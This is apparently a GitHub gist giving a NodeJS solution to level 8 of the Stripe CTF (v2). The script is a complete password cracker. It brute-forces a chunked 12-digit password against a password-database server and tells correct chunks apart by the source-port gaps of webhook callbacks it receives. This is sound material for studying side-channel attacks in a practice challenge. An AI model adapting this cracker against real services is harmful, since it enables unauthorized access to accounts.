Created
September 3, 2012 19:41
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A NodeJS Solution to LEVEL08 of the Stripe-CTF (v2)
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var request = require('request'), | |
http = require('http'); | |
require('sugar'); | |
var Cracker = function(){ | |
this.chunk = 0; | |
this.chunks = []; | |
this.password = '000000000000'; | |
this.chunkPass = 0; | |
this.prevPort = null; | |
this.attempt = 0; | |
this.maxAttempts = 3; | |
this.matches = []; | |
this.matchThreshold = 4; | |
this.webhooks = ['localhost:9999']; | |
this.dbServer = 'http://localhost:3000'; | |
this.complete = false; | |
// | |
// Initialize the Cracker | |
// | |
this.initialize = function(){ | |
var self = this; | |
// Create the Webhook listeners | |
this.webhooks.each(function(webhook){ | |
http.createServer(function(req, res){ | |
self.process(req.connection.remotePort); | |
res.end(' '); | |
}).listen(webhook.split(':')[1]); | |
}); | |
// Start cracking | |
this.crackAttempt(); | |
}; | |
// | |
// Process response from Chunk Server | |
// | |
this.process = function(remotePort){ | |
var delta = (this.prevPort) ? (remotePort - this.prevPort) : 0; | |
this.matches.push( delta ); | |
this.prevPort = remotePort; | |
this.crackAttempt(); | |
}; | |
// | |
// Make requests to the passwordDB server, etc | |
// | |
this.crackAttempt = function(){ | |
var self = this; | |
if(this.complete) return; | |
if(this.attempt >= this.maxAttempts){ | |
this.attempt = 0; | |
if(this.foundChunk()){ | |
this.incrementChunk(); | |
} else { | |
this.matches = []; | |
if(!this.incrementPassword()) this.incrementChunk(); | |
} | |
} | |
this.attempt++; | |
request({ | |
url: this.dbServer, | |
method: 'POST', | |
json: { | |
password: this.password, | |
webhooks: this.webhooks | |
} | |
}, function(e, r, data){ | |
if(data.success) self.gameOver(); // you win | |
}); | |
}; | |
// | |
// Start cracking the next Chunk | |
// | |
this.incrementChunk = function(){ | |
this.chunk++; | |
this.chunkPass = 0; | |
this.prevPort = null; | |
this.attempt = 0; | |
this.matches = []; | |
this.matchThreshold++; | |
this.incrementPassword(); | |
}; | |
// | |
// General purpose password incrementing with the proper format | |
// | |
this.incrementPassword = function(){ | |
this.chunkPass++; | |
var p = (this.chunkPass).pad(3); | |
if(this.chunk == 0) this.password = String(p) +'000000000'; | |
if(this.chunk == 1) this.password = this.chunks[0] + String(p) + '000000'; | |
if(this.chunk == 2) this.password = this.chunks[0] + this.chunks[1] + String(p) + '000'; | |
if(this.chunk == 3) this.password = this.chunks[0] + this.chunks[1] + this.chunks[2] + String(p); | |
if(this.chunkPass > 999) return false; | |
return true; | |
}; | |
// | |
// Did we crack a chunk of the password yet? | |
// | |
this.foundChunk = function(){ | |
var m = this.matches.most(); | |
process.stdout.write(' Trying password: '+ this.password +"\r"); | |
if(m >= this.matchThreshold){ | |
this.chunks[this.chunk] = (this.chunkPass).pad(3); | |
return true; | |
} | |
return false; | |
}; | |
// | |
// WOOO! | |
// | |
this.gameOver = function(){ | |
process.stdout.write("You Win! \r\n"); | |
process.stdout.write('cracked password: '+ this.password); | |
this.complete = true; | |
}; | |
}; | |
// Let's get crackin' | |
var Crack = new Cracker(); | |
Crack.initialize(); |
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